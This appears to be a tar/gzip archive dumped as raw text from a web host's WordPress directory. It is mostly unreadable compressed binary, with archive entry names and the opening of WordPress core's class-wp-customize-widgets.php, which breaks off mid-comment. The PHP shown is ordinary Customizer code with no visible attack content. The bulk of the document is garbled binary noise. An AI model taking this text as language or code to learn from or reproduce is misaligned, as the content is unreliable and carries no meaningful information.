rM�U߇���E��I@(�����]���	��[��?,�ҫ��[��a�:�C�9x�o�UZ!s�BgmS��)�����s��j�Bޝ�;��51���Y@��o�[_�C�"{�դ;|�{~Ui�	�jׄ�!�m����}Aq)���MW�N����6|�M���-����x-ޠ+�3����U�o�}ﵾ^�zn럲lO�Ӹo�fo2<�'m_�vM��������^mQ���^F���+n����N^څ�_nDo-��i����7��	�(�m
7�W�6aK��$�7������QD�k_�i�>����Āֿۢ9����k�b�슢��P���,�<��A%BW|6ȗ�u�bo(�/�
I�3�qnM��&AP��uLj$�G��#W�0��Qv�L�r�� �_j{�
�-V
��+�Qm%�
3=S��2ĥdg�������+�q��8�R��G��K�h��dr�/|�γlx��@89��h)��(*D�l��7�����1�X�BΞ��Crʟd�n���\6̒�\�MG�xS���C�1g ���O	5J&
jfo�id�k�>�|�����?	?^�%���!�N���fq6�Q:���$LI�SXm����^�T�c�����&_�y�F����T`�3b#��4�I��n�j�����լ!��/LL�]*b�&#�ָ���p(�]�R5��{	���
�d
~�:-�R7���˱���N�m����J��<:&���9�ڡqAΉZK��o�؊kj�����׳8�u^���.���I��ט�L)r�,��u���F��p�Q�*������ݾt�ׯ�B~DxnR䩒R�W{א��fu�HF��O3	��?��k?��b��OŸ���$aܘ�뵿9n���8����7�+��}�2z�)'e�I�3�E�Oc�`O��	
ǽ�J��4�S��Q�̲��%q�d2��憁�ȟ��&y�����S�P��T�tx�)���G�`��f��|i���	&���g�����DLk��F�+L�Vm���[	�"��!���Z�'[�{y�|<��ѡ���=<�����4D~b��,���ʕ���n���uw�\�o�>�r�C�y
͆2�dx���:d��C�o��c3�A2E�c�B	5�H"�Fr�rj��36����΍a�����Ѕ�a5\Ru}&��~�ٓh��P�����k�	 \�.,��^F�lo6��#��8E�i=��Y�DG5��Ν��>7b�nso����u��?duj���p4��.��K3�2����J�d�Dw�d٭�%)Qm���7�5��R�M��(s?��E?*?IM��4	Mu,����.�siؓ~�y�~��WwK
6���B\���M���s����[��r�)#��҄548:>8y�����'�TE�M�<z����z��;�9�+�KZ���W"H=|c5R;�����(�8;�%݊�L]Hǜ���'�+�N��E%�L`f֦H��0@c�
�<j�\�J_k��p�s���8�>���Ԣ�6k(fB�z�� vb��Ƶ������D��q�����c8���N��ȫ9-ڍ���/��>�'yo�g$.���c�4	�a|}46�=�||d�:�g��$�Q���A�M��2�#�_��d"2칓����RF4�{�@"S�Ш;��ΰ@����?�nm�smʶ�î��3b� �))��s��Pt���⪘�*Y��4ץ�Mp�$>lg�(��,L��:�.f��6-%c�-����� ���yD�(,&ΎIewxI�C�c�A�c
�n:�+
Е�v��_i�-7��) ��m��=�CN/+[Gg>������4�$����`d���Ӓ�I[PI���#a�*SS�>֦[n5րכX��ڛ��P���z���y��{��5o����x�s��{7��J��MF�)�������X��
1�R�v���T���2 �{���(6�K���l�Hn!���C���/��[J!�U.��]��]��A%
�aTnZ�p7�$E�-�
&�����h���赭$����ق�j-�8��Ά��tH�r��aeIt�+I�����T�
v�|8f�8���-�'�gpW��gH�B_�H5�HeP)�9�-vƞ8FLyD��� �t�>2OP�7�d��!�%�h�)�D2�h���J�Z�aw	�[�vf�Xt���f�9#C�M�g�*;�SΕ/Đ�!J�Y�h�k�\�	q�]%�@�6�/��V�Y]�c�6�8��k��L)9o}��1QQ, 1!�|�f%]��m0m���k�h��fc��H�E�r�Z�r
�E/�����PX)��mmպ_[й�^�=�E9�S
8����v��f�dd\~��w$�}�f��v��x,�dy�������?����:���a����R�燝�\Ƴf����J��o,1w�,�F��^ve�z�t9��1�,�Y�i�Ó޷O�z���a�D�&���Y.*O��)��d6&,oH�m��%�f����4J�l-��oll+Sa���>�����鎤��!�-܂�n:n�	s�c��+�G�W������N����k�F�Ҩц>
�@�~���w��><�v-�i����3A�L���9�#T�jOĥ(��(F<&^+sW
I�ieS�<��j+3H�FYs[�@�?�ҘB��_F`�ռw��A�LR�+ȉ~ lT�=o�G�Q�	^+�;ܺ�_��T��{c������S���.��L5�n��	�� f5s�<X`��!Cشlv��$jjw����B�K�0..���9���6i]f���&:)yh�p�c�~�q�����f�l�m�.�����$�4�28Î��$j
���b�Y}|���Ӄ���9��B��T�V�b4�f��S���R#Z��I�+<�筻�1������`��)��*{2̣U�d�a�Ԥw,W]��Nb�ZY�pU�@��t=,$I+�G�~�5�����p���u@kђ����i��G��%%^��,p�:V�4�@y����|�.������)
{r���r�������=y�U��9�������[�ݪVH�O0(j6�VPó�I;7��˘IJ*X�T[M��jb�46a��(
u(�E�<..����U�2���$����ά*S�}�H0�N�Vl�����W(;���,�zD�<��6;�c��Jjd\0����g���|���*��9رP�jì��>����@=Y�2���,OL9�F��+�(�"x�zW*_�Zܢ�r|�{�7��1X�NIyƤN�M2�FcN�
�Q���+�?߀�U:QYG�oVS|��sM3�ef���&7���މ�W/iW ��ҍ�$
v
$9��'�o�]}�D���v�)�[<X~!<&6ښ�~l)9��}��k]��d���XL\�$�K4RLč��d¾6)
�"�M����bLĈ�����DL9ΰZA\ �=b4���V�/Re�����1�n�d�2�uT1�K�˃�$�RNJ��䠃�C^Ɠ��:J��Fvy#ݤ��<���SI�:��@a^GaQ��Lw�Yo���=���)o�CA�T�*U�yҪjѝ�T��h��7I=Wo�^B˷X�Tu�����S,��~����ѣ�w��ֲ�qӭ�M>�i��[mf;ڕ<n�@i��=��>:�{r�_>}v�䛃�Ʒ���5�A
�����#l���2��6���*ؿJ���9j����� �e~Űvo��q�=˨_��Ȇ���	K�m��7h��=�!��}��u�&�D�@
�f1��4�� SG|�	
~�p<��t�XŚ���������J�+h�b�,ݔL
�tP�g�Z~B �m��[C,�'�:Ѧ4z��(�gˆ�c��`vw�)��W�i~�	E0c/Ix��	<�NWڷj�a|���b��`Fe-�)�'+H��9�c�E���5��u�P��B{�ݷH0�U7B����cO�p�#ce6�P�B��D�`�KVp�r��	�v�ދT*ڇ��������K}��|H����W�����T�%����R��2�Q���4@���ė̡�VuB
��•-Do�A�ښ��ʂ��'�����&���@
焨r6;HN�"9��yR�y�����&u�~
1bɕ=bH�ntg�n�ԛu"S�W�|ƚR&����z�	�`���DJ��_/���P.G!o�5g;�w̄0U��&��td�C�#��E'\e�
M�]�yX5<@���n���L�hS�ʪ֫u�
8��!�S�_�8L�aNҚ�"�f��P;e�Dvu<���5��w69o��\�e��+x����yժ��g9l�H��O�~���sx�Y��UwCQg��w}0����4YjC�l[�	N~ �㓝���L~�5�8Jy獿ڻ��l���{.Z
$<2�"���Z
����L=��°���?�[��������9�8��$x�I9�}�l�"|����މf����+&$n�rЉ�..u��P�(���6T��Z"�íc�֢*���y�B����9y������zg<IG����Q�#��`p���B����n߂��sj;c�j�4L�v��}�M{o�U��7k�AO��Zx��Z�Rf��4�RG�Y��2�S�{�N=M������Q��z����ʈ���)���h��
�]�Wc�G��Z׊ON��JF+l�
*,k�Xi��1g�"6��*��[Fο�j��h��F�v��w���3y�@h���)&��[�|<�
������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKYO\�K]Ƴ�-10/class-wp-html-open-elements.php.php.tar.gznu�[�����kW��_�W��SLkȫ�@BJ	M��78M���q�W���^m��C��;3z��e�m�����F�yk4�XN����^0ވ�����$ؘF?�'�
l����<I:�Zd$Ž�D�iҍ��g��M�<z�}s��o�}��p���[[��������zp��ɒ��0�1�G�y�ض���W��+�����n�7�}|����Ì���\�`od�Ƃ^�o��ܼ@���A�{�}�݄�e3後��˲Dx��c5�E�\3/��p�[y�F8x�&<�#|�À��&�%�Y��(�ƾ^�/ �(�)��"y�H��`����O}W�s�b�W]��t�r�( ���S{�Ie4�I�B�	&C0�����k
�=Ox
H*�m�C��e�ʉnX�o�X��J�U#|�V(ө���)��ӱp�+(�GY�S�8����0>@�!O�>��'��`5�N�f�b���"A()%��%	�&
:��K��v6M�d{�W7�Ġ;�t:��x��!ޑâ����ޓ�*��W�w�K(�K�C2�f�zE,`) �П��f/yl�����3��X^Rf����0��������f,��pj�&c�3��%@�
�8&���8Z"�ԟ���D����"ԏ(��o�Lq�%2�DĪ��Ԓ��b"/��$�4�A��c0y�S6A��z�n�+��>�|�_3Z&�2`k�y���\�YI[�����(�W�x$¥�f�fNA���vDc&��� /"E�,�Ù�+���A�~
��M�A�,�Qy���L�X�fA��O�
4}°�M֞%c\{蚰/^�����?8R��N7��'l3�R���􌩆�f�n�Y���aiU��o3�Y4�K�h6:�E�2=w���א�w=:7H�߁Ў`.H�(7���H�8T�,�EP|��@�H&���nL@t-)s��s�5��K��@������K�3�V�'ax�m[��X�?J�g����!_V
���@f!�,�����W����C��:��V��O$�2�|/��L��n����T��&[E�ʱ/.�%'IRa�-�>�g���k��S�D]�ط1�[��c�eNBQ��	l
䀜l�'�S�:�7#�z�ZZ��I�y�ʉ2���;I7����,����).�f��Q7W����w	0i�M�����(��Œ�
�����K��2�%]�d�!�Ԅ�\Ӊ�GE^�8�Yb���Z�)���&��Y����XhrZ~cl�ą��ຨְ�,�~��j�����|ʢ&.9`�]ԡ��.2.�3Q�7�53w	����@��؃*NJb��ҿ#���Yd�*�L�>v��]���#�V=�7�ayvCF)o4�S�g^������`n�/=9��$4�MH�0���S톊
�,��x\z��|���p`f
�Ge���%�,֓�E[�<5.㈛<�L*��HA0�=���_GD�]%�����
ШJݜ���OK��u��0�|pY"1L�
��
����h�r��k�'���fn���b3R?�q�x&(D����!�O�lТcL�U���~!�%G��-�D�ض
���`�Iu������Uy�ήKɾ�`��F��g�?����
�!o�|��|T_�
��(�mo� '��G6^�;�y��/e������篕�1O�ϡ�!V"��(*e�p��7n�by	 ����H������B�8�A��m-��O�(-b�G���k!������U�Q�g�<�rW��:@)w���d�hr�f)����P=9@���:|�%[���Zo�0H�+�	.������@�s�,KF'��\�<�2?a���6S�����1�th���ū������Q!Pv��3��i���m�#�m�R�Ou7�w\<��Dq�`SP�!^#�j���%� ��̵�,�]��kDv�"�"�$�}�weP��C��S�lĊ���ʻr���]����(ώ�Z�6��^k�Þm�b��l4f/��$X�s
�k%�_~I���*�^�����l���Z�ޣ��������>��&�H�����f�Za��]&�5_�
�sC��6>f�㒾��|�9�;K�O�1�
`C
H��)����_�	pt�Y���$@rhC
���d�)6[/�/�V]tGR�#�R�a�#��ӂB�<��:��s��Äǿf��+�'�l�Y���u�K��_��_�&k�š���
ój3A	H�:o�<��9n\�?
O�X�;ؓ
JM�j��G�B�þ�D�6���0�#�:�r&*�i��u�}.c�KQ�x��'�l�<>)#�������Ao�����N{�'���R��с}xf��0�^�������[�����G{=|� �����z<)>ϊ���{����������V���������"N���پ��;�U.�4�;r��Ҹmç�T縦	�p
��z&p4эS�a�����R���U�!�9Z�HưÝt]c����	l�lF�9F�!�C��"&���Mq �]X{�;q)bL]�4t�j�Δ
�u�XُaلN]>��R�C�̏�R!z}D�O�Y߽�r�ug��Ɩ����Us�B�Ĥ�N�.�L/�C
�cl���qkj��f�(Ѯ�-��7(�{sC���^z�w#+B{'��>y`s�"�q
B��͆�4�Pex�e��2�T����C'y�
��'���ȶ�!L�6�Y�I!�1�:s~n��I"�пD���J��߇W�T�N:�&,e�"�����{mu��CmJT��r���ݜQ�x�A�9�륎�!�v ��h)���M�a�꼌T�����켤ଥv5�5[�۷��wc���:����^���\�8\#񝗢��'�>Q��I�[�:͌���:y}Z߭&m|���&������>�/QjĩA*Uڭپ�ҿD�S%y��pv��͉�p-a�;<Gr��]D���QU:�2�6��R�G�����TA�CpVKl5vg��0�Z���gX��֍�)Z[��Էa�x.D�ɵ�j�|lo�&;����CtB�xGDbIq��ūIr��/?\�{ך�^^�D�V�2?�Z,/W7X���s�ϝ�?� ���6?��c��J�g}��û<�+�r�E��X����Eo`ܕQ�-��A��d��p�.�m�`q�bFZM=<���g,��;�4�.����Z�~SR�(�!����L� PGݮZh��P̺��z�[[���~K����@��cM���
��.����B��cP�/f�Ҍxc8EyQ��BO�+5�u�֎�JŽ�"���]F��lK9��\h�4�*M*��Z�Yu���4�Թl@�Z�r]Q]'iA~�{��\U�XY������o���Kឮ򗙺���T1��Ee�&Fsjɲb��c1�}NL����|�����j����B]#X�Q�oX~B�ҩm��,���Vr���]v�_��^�?�o{�'��T�ɏS:�k�f�d���t�\֌`�jX��Qk�"��uH�P�tI�C������Q���F
�|x��?a矕po��@��]�:iF�,
s5�2	�_Q�k��7�佢 �`ϐdu�}	VlZL��86�q�xo� �Q�Ɨ*lӘ_�8�>'�{�U��i��Z��V��yN(ă.ȱ3��h>{Kd�M��p3e�DV߹��`ܤ� �z�
��*�VZ�)M!C�%E���eSPk/�y�]m+:��QMPg l�9+cd||S
�Ն�@�(��Z%�c�?(1A�Ԕέ���S�Q�q�D���Q%H���Ek_�xoS�
	k�EJ��ڤ��:��	�‘ T���jZږb/�O�H�V{�� ��@�t$��+��U�l>Ӗ��*�����L�@sԚw~���7��}G{������|�aIڶPLUz�1$yB�cp��*���K@ڴ׆ء
]���_-(ƿ�S�v��c�������Y�C������]�[�q��?�lC���xK�����U��r a�8r��H(����o#��&xNC�l)(x&�o��R�ߤR�_����]	4\�k������5�x;o���N�92v���yV'Fnó����#;M���b���6s�\i:�6W�ΪMt�\n-�2;��ͥ�t�\jS���0�H��?��=�!��P�^�:]�͕ڜ�M�!�ܕ�rѪY؎�"ԙ����O��c�o�N�I�3���m�kު�=�d�o���Sk���:7���u~��bh�w���~ ��O��`�XW�`/�:�uW���Y���Ux�z�Dx1�m�G��B́3��n�t���1Ihxm[D��B{}����	�[�x���$R?�#��h��ݾ �[w�@@tR��NH�j!�iL�~*u9���r��5t`٩Ω?8Q7"�����Ȗ�vqs�x�K�@��Bz.��;�T<���NB�!��@\�R����^Qx5��L‹k�	F0�(�ߝ<��<1���7�ϋ��g]u������~���7P�D�ܢ�x�
�Y[�Pc"ұ�+!y�H�~J�	�Q��#	 ��:������Y�Ϻl�%c�������}��	oM�A�_��M��������?��U�^PKYO\e��:oo$10/class-wp-html-span.php.php.tar.gznu�[�����TMo�@��rHPl�Tj��6�Vj%�F�{�W������(���^cM�*Um�bgw޼�f�\����"��]<��,�y�6E�D�$���i�V�ђU��e��ѧ����S�g��x0
)�ÎK=���Ն)j�7z����
�/�{�z��Gx;���3��}�	C=t�wG&�%_Y�p'T:UXo�D��v�Յ��t���aԧul;����0���2�J$�-
%5���ߌe���x�y�@,��T$���QC�6��C�k+�H��,�x�S�<�9�X
��B�#K}��(Vt�J-I�\?���Q�*�Ji���{���AU}��UbY�n;e�l�
��P��4��W�������Q,!�s��9���a^`��|���"[l�<��34Hm�ż��'�zy{��>�)w����8�K��i�|`�#1pS�f4���E{�����Et�Cg��k^�Po/9_?S?��{��7�"lb�:�X2�J�Є�v(?�:sh�^#�@l�s�`i��pQ�l�l��?�t��w�f�=s����׭��Ns�z�O�!x��Sv�S������=^ڠPKYO\��E�""%10/class-wp-customize-widgets.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-customize-widgets.php000064400000215637151442400420021772 0ustar00<?php
/**
 * WordPress Customize Widgets classes
 *
 * @package WordPress
 * @subpackage Customize
 * @since 3.9.0
 */

/**
 * Customize Widgets class.
 *
 * Implements widget management in the Customizer.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Manager
 */
#[AllowDynamicProperties]
final class WP_Customize_Widgets {

	/**
	 * WP_Customize_Manager instance.
	 *
	 * @since 3.9.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * All id_bases for widgets defined in core.
	 *
	 * @since 3.9.0
	 * @var array
	 */
	protected $core_widget_id_bases = array(
		'archives',
		'calendar',
		'categories',
		'custom_html',
		'links',
		'media_audio',
		'media_image',
		'media_video',
		'meta',
		'nav_menu',
		'pages',
		'recent-comments',
		'recent-posts',
		'rss',
		'search',
		'tag_cloud',
		'text',
	);

	/**
	 * @since 3.9.0
	 * @var array
	 */
	protected $rendered_sidebars = array();

	/**
	 * @since 3.9.0
	 * @var array
	 */
	protected $rendered_widgets = array();

	/**
	 * @since 3.9.0
	 * @var array
	 */
	protected $old_sidebars_widgets = array();

	/**
	 * Mapping of widget ID base to whether it supports selective refresh.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $selective_refreshable_widgets;

	/**
	 * Mapping of setting type to setting ID pattern.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	protected $setting_id_patterns = array(
		'widget_instance' => '/^widget_(?P<id_base>.+?)(?:\[(?P<widget_number>\d+)\])?$/',
		'sidebar_widgets' => '/^sidebars_widgets\[(?P<sidebar_id>.+?)\]$/',
	);

	/**
	 * Initial loader.
	 *
	 * @since 3.9.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( $manager ) {
		$this->manager = $manager;

		// See https://github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L420-L449
		add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_customize_dynamic_setting_args' ), 10, 2 );
		add_action( 'widgets_init', array( $this, 'register_settings' ), 95 );
		add_action( 'customize_register', array( $this, 'schedule_customize_register' ), 1 );

		// Skip remaining hooks when the user can't manage widgets anyway.
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return;
		}

		add_action( 'wp_loaded', array( $this, 'override_sidebars_widgets_for_theme_switch' ) );
		add_action( 'customize_controls_init', array( $this, 'customize_controls_init' ) );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'customize_controls_print_styles', array( $this, 'print_styles' ) );
		add_action( 'customize_controls_print_scripts', array( $this, 'print_scripts' ) );
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_footer_scripts' ) );
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'output_widget_control_templates' ) );
		add_action( 'customize_preview_init', array( $this, 'customize_preview_init' ) );
		add_filter( 'customize_refresh_nonces', array( $this, 'refresh_nonces' ) );
		add_filter( 'should_load_block_editor_scripts_and_styles', array( $this, 'should_load_block_editor_scripts_and_styles' ) );

		add_action( 'dynamic_sidebar', array( $this, 'tally_rendered_widgets' ) );
		add_filter( 'is_active_sidebar', array( $this, 'tally_sidebars_via_is_active_sidebar_calls' ), 10, 2 );
		add_filter( 'dynamic_sidebar_has_widgets', array( $this, 'tally_sidebars_via_dynamic_sidebar_calls' ), 10, 2 );

		// Selective Refresh.
		add_filter( 'customize_dynamic_partial_args', array( $this, 'customize_dynamic_partial_args' ), 10, 2 );
		add_action( 'customize_preview_init', array( $this, 'selective_refresh_init' ) );
	}

	/**
	 * List whether each registered widget can be use selective refresh.
	 *
	 * If the theme does not support the customize-selective-refresh-widgets feature,
	 * then this will always return an empty array.
	 *
	 * @since 4.5.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @return array Mapping of id_base to support. If theme doesn't support
	 *               selective refresh, an empty array is returned.
	 */
	public function get_selective_refreshable_widgets() {
		global $wp_widget_factory;
		if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
			return array();
		}
		if ( ! isset( $this->selective_refreshable_widgets ) ) {
			$this->selective_refreshable_widgets = array();
			foreach ( $wp_widget_factory->widgets as $wp_widget ) {
				$this->selective_refreshable_widgets[ $wp_widget->id_base ] = ! empty( $wp_widget->widget_options['customize_selective_refresh'] );
			}
		}
		return $this->selective_refreshable_widgets;
	}

	/**
	 * Determines if a widget supports selective refresh.
	 *
	 * @since 4.5.0
	 *
	 * @param string $id_base Widget ID Base.
	 * @return bool Whether the widget can be selective refreshed.
	 */
	public function is_widget_selective_refreshable( $id_base ) {
		$selective_refreshable_widgets = $this->get_selective_refreshable_widgets();
		return ! empty( $selective_refreshable_widgets[ $id_base ] );
	}

	/**
	 * Retrieves the widget setting type given a setting ID.
	 *
	 * @since 4.2.0
	 *
	 * @param string $setting_id Setting ID.
	 * @return string|void Setting type.
	 */
	protected function get_setting_type( $setting_id ) {
		static $cache = array();
		if ( isset( $cache[ $setting_id ] ) ) {
			return $cache[ $setting_id ];
		}
		foreach ( $this->setting_id_patterns as $type => $pattern ) {
			if ( preg_match( $pattern, $setting_id ) ) {
				$cache[ $setting_id ] = $type;
				return $type;
			}
		}
	}

	/**
	 * Inspects the incoming customized data for any widget settings, and dynamically adds
	 * them up-front so widgets will be initialized properly.
	 *
	 * @since 4.2.0
	 */
	public function register_settings() {
		$widget_setting_ids   = array();
		$incoming_setting_ids = array_keys( $this->manager->unsanitized_post_values() );
		foreach ( $incoming_setting_ids as $setting_id ) {
			if ( ! is_null( $this->get_setting_type( $setting_id ) ) ) {
				$widget_setting_ids[] = $setting_id;
			}
		}
		if ( $this->manager->doing_ajax( 'update-widget' ) && isset( $_REQUEST['widget-id'] ) ) {
			$widget_setting_ids[] = $this->get_setting_id( wp_unslash( $_REQUEST['widget-id'] ) );
		}

		$settings = $this->manager->add_dynamic_settings( array_unique( $widget_setting_ids ) );

		if ( $this->manager->settings_previewed() ) {
			foreach ( $settings as $setting ) {
				$setting->preview();
			}
		}
	}

	/**
	 * Determines the arguments for a dynamically-created setting.
	 *
	 * @since 4.2.0
	 *
	 * @param false|array $args       The arguments to the WP_Customize_Setting constructor.
	 * @param string      $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`.
